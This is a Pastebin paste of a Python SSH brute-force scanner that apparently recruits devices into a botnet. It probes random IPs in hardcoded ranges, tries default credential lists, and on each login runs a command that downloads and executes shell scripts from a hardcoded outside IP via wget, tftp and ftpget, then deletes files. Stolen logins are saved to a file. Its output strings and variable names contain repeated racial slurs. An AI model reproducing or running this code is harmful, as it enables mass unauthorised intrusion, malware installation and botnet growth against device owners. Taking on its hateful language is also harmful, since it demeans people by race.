Advertisement
Guest User

Untitled

a guest
Aug 9th, 2017
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.11 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Step 1 - ulimit -n 999999
  4. # Step 2- python storm.py 500 ROOT 1 1 or python storm.py 500 LUCKY3 1 1
  5. #You can buy more ranges
  6. #@StormyServices or @Cayote
  7.  
  8. import threading, paramiko, random, socket, time, sys
  9.  
  10. paramiko.util.log_to_file("/dev/null")
  11.  
  12.  
  13. blacklist = [
  14. '127'
  15. ]
  16.  
  17.  
  18. passwords = [
  19. "telnet:telnet"
  20. "admin:1234",
  21. "root:root",
  22. "root:admin",
  23. "user:user",
  24. "guest:guest",
  25. "admin:admin"
  26.  
  27. ]
  28.  
  29. if sys.argv[4] == '1':
  30. passwords = ["root:root"]
  31. if sys.argv[4] == '2':
  32. passwords = ["guest:guest"]
  33. if sys.argv[4] == '3':
  34. passwords = ["admin:1234"]
  35. if sys.argv[4] == '4':
  36. passwords = ["telnet:telnet"]
  37. if sys.argv[4] == '5':
  38. passwords = ["root:root", "admin:1234"]
  39. if sys.argv[4] == '6':
  40. passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
  41. if sys.argv[4] == '7':
  42. passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password", "admin:admin", "user:user", "test:test", "admin:12345", "admin:123456", "guest:guest", "root:password"]
  43. if sys.argv[4] == '8':
  44. passwords = ["root:root", "root:admin"]
  45. if sys.argv[4] == '9':
  46. passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  47. if sys.argv[4] == 'perl':
  48. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  49. if sys.argv[4] == 'vps':
  50. passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Zero", "root:Password"]
  51. if sys.argv[4] == 'vps2':
  52. passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  53.  
  54. print "\x1b[31mFINDING NIGGERS..."
  55. print "\x1b[31mNIGGERS ARE RUNNING"
  56. time.sleep(1)
  57. print "\x1b[31mNIGGERS CAUGHT"
  58.  
  59. ipclassinfo = sys.argv[2]
  60. if ipclassinfo == "A":
  61. ip1 = sys.argv[3]
  62. elif ipclassinfo == "B":
  63. ip1 = sys.argv[3].split(".")[0]
  64. ip2 = sys.argv[3].split(".")[1]
  65. elif ipclassinfo == "C":
  66. ips = sys.argv[3].split(".")
  67. num=0
  68. for ip in ips:
  69. num=num+1
  70. if num == 1:
  71. ip1 = ip
  72. elif num == 2:
  73. ip2 = ip
  74. elif num == 3:
  75. ip3 = ip
  76. class sshscanner(threading.Thread):
  77. global passwords
  78. global ipclassinfo
  79. if ipclassinfo == "A":
  80. global ip1
  81. elif ipclassinfo == "B":
  82. global ip1
  83. global ip2
  84. elif ipclassinfo == "C":
  85. global ip1
  86. global ip2
  87. global ip3
  88. def run(self):
  89. while 1:
  90. try:
  91. while 1:
  92. thisipisbad='no'
  93. if ipclassinfo == "A":
  94. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  95. if ipclassinfo == "B":
  96. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  97. if ipclassinfo == "C":
  98. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  99. if ipclassinfo == "49":
  100. hAZZYE = ["49.144","49.145","49.146","49.147","49.148","49.149","49.150","49.151","49.228"]
  101. self.host = random.choice(hAZZYE)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  102. if ipclassinfo == "122":
  103. Nigger = ["122.3","122.2","122.52","122.54","122.174","122.237","122.176","122.166","122.172","122.163","122.179"]
  104. self.host = random.choice(Nigger)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  105. if ipclassinfo == "NIGGER":
  106. Beaner = ["186.232","186.119","186.39","122.164","186.59","131.255","186.250","200.33","186.57","186.61","186.134","186.128"]
  107. self.host = random.choice(Beaner)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  108. if ipclassinfo == "119":
  109. SHIT = ["119.91","119.92","119.93","119.94","119.95"]
  110. self.host = random.choice(SHIT)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  111. if ipclassinfo == "FAST_1":
  112. fast1 = fast1 = [ "5.78","1.20","122.170","122.164","201.176","200.33","131.255" ]
  113. self.host = random.choice(fast1)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  114. if ipclassinfo == "FAST_2":
  115. fast = fast = [ "59.69","124.107","112.209","49.228","49.150","49.149","122.2" ]
  116. self.host = random.choice(fast)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  117. if ipclassinfo == "FAST_3":
  118. fast3 = fast3 = [ "12.188","14.162","14.33","13.92","103.57","14.67","14.177" ]
  119. self.host = random.choice(fast3)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  120. if ipclassinfo == "ADMIN":
  121. fast3 = fast3 = [ "31.23","2.60","188.114","49.79","122.58","201.71" ]
  122. self.host = random.choice(fast3)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  123. if ipclassinfo == "ROOT":
  124. fast5 = fast5 = [ "186.59","186.61","186.114","186.39","186.128","186.133" ]
  125. self.host = random.choice(fast5)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  126. if ipclassinfo == "190":
  127. fast5 = fast5 = [ "190.174","190.175","190.173","190.172","190.176","190.177" ]
  128. self.host = random.choice(fast5)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  129. if ipclassinfo == "191":
  130. fast5 = fast5 = [ "191.80","191.81","191.82","191.83","191.84","191.85" ]
  131. self.host = random.choice(fast5)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  132. if ipclassinfo == "112":#"179.40","179.39","179.38","179.37","179.36"
  133. fast5 = fast5 = [ "112.206","112.205","112.203","112.202","112.201" ]
  134. self.host = random.choice(fast5)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  135. if ipclassinfo == "179":#"179.40","179.39","179.38","179.37","179.36"
  136. fast5 = fast5 = [ "179.40","179.39","179.38","179.37","179.36" ]
  137. self.host = random.choice(fast5)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  138. if ipclassinfo == "LUCKY3":
  139. lucky3 = [ "188.245", "181.20", "181.24", "186.128", "186.132", "186.39", "186.56", "186.57", "186.58", "186.60" ]
  140. self.host = random.choice(lucky3)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  141. elif ipclassinfo == "LRAB":
  142. lrabz = ["122","186","119","168"]
  143. self.host = random.choice(lrabz)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  144. elif ipclassinfo == "LSD":
  145. lsd = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  146. self.host = random.choice(lsd)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  147. elif ipclassinfo == "Shrooms":
  148. shrooms = ["122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  149. self.host = random.choice(shrooms)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  150. elif ipclassinfo == "Xanax":
  151. xanax = ["23.96","23.97","23.98","23.99","23.100","23.101","23.102","23.103","70.37","104.40","104.41","104.42","104.43","104.44","104.45","104.46","104.47","104.146","104.147","104.208","104.209","104.210","104.210","104.211","104.212","104.213","104.214","104.215","138.91","168.61","168.62","168.63","113.53","125.125","125.126","125.127"]
  152. self.host = random.choice(xanax)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  153. elif ipclassinfo == "Cisco":
  154. cisco = ["122","131","161","37","186","187","31","188","201","2","200"]
  155. self.host = random.choice(cisco)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  156. elif ipclassinfo == "Busybox":
  157. busybox = ["199.180","142.0","158.69"]
  158. self.host = random.choice(busybox)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  159. elif ipclassinfo == "WholeSale":
  160. wholesale = ["208.67"]
  161. self.host = random.choice(wholesale)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  162. elif ipclassinfo == "ECATEL":
  163. ecatel = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  164. self.host = random.choice(ecatel)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  165. elif ipclassinfo == "CHINA":
  166. china = ["65.19","220.248"]
  167. self.host = random.choice(china)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  168. elif ipclassinfo == "CDN":
  169. cdn = ["217.106","217.106"]
  170. self.host = random.choice(cdn)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  171. elif ipclassinfo == "USA":
  172. usa = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  173. self.host = random.choice(usa)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  174. elif ipclassinfo == "Russia":
  175. russia = ["122","131","161","37","186","187","31","188","201","2","200"]
  176. self.host = random.choice(russia)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  177. elif ipclassinfo == "LUCKY":
  178. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24","180.180"]
  179. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  180. elif ipclassinfo == "LUCKY1":
  181. lucky1 = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","1.20"]
  182. self.host = random.choice(lucky1)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  183. elif ipclassinfo == "LUCKY2":
  184. lucky2 = lucky2 = [ "122.3","210.213","59.69","122.52","122.54","119.93","124.105","125.104","119.92","119.91" ]
  185. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  186. elif ipclassinfo == "LUCKY22":
  187. lucky22 = lucky22 = [ "122.3","210.213","59.69","122.52","122.54","119.93","124.105","125.104","119.92","119.91","49.144","49.145","49.146","49.147","49.148","49.149","49.150","180.180" ]
  188. self.host = random.choice(lucky22)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  189. for badip in blacklist:
  190. if badip in self.host:
  191. thisipisbad='yes'
  192. if thisipisbad=='no':
  193. break
  194. username='root'
  195. password=""
  196. port = 22
  197. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  198. s.settimeout(1)
  199. s.connect((self.host, port))
  200. s.close()
  201. ssh = paramiko.SSHClient()
  202. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  203. dobreak=False
  204. for passwd in passwords:
  205. if ":n/a" in passwd:
  206. password=""
  207. else:
  208. password=passwd.split(":")[1]
  209. if "n/a:" in passwd:
  210. username=""
  211. else:
  212. username=passwd.split(":")[0]
  213. try:
  214. ssh.connect(self.host, port = port, username=username, password=password, timeout=1)
  215. dobreak=True
  216. break
  217. except:
  218. pass
  219. if True == dobreak:
  220. break
  221. badserver=True
  222. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  223. output = stdout.read()
  224. if "inet addr" in output:
  225. badserver=False
  226. if badserver == False:
  227. print '\x1b[32mBot incoming! - \x1b[34m '+self.host+'|'+username+'|'+password+'|'+str(port)
  228. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.7.78.8/exlon.sh; chmod 777 exlon.sh; sh exlon.sh; tftp 185.7.78.8 -c get exftpxd1.sh; chmod 777 exftpxd1.sh; sh exftpxd1.sh; tftp -r exftpxd2.sh -g 185.7.78.8; chmod 777 exftpxd2.sh; sh exftpxd2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.7.78.8 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf exlon.sh exftpxd1.sh exftpxd2.sh ftp1.sh; rm -rf *")
  229. nigger = open("bots.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  230. ssh.close()
  231. time.sleep(10)
  232.  
  233.  
  234. except:
  235. pass
  236.  
  237. for x in range(0,int(sys.argv[1])):
  238. try:
  239. t = sshscanner()
  240. t.start()
  241. except:
  242. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement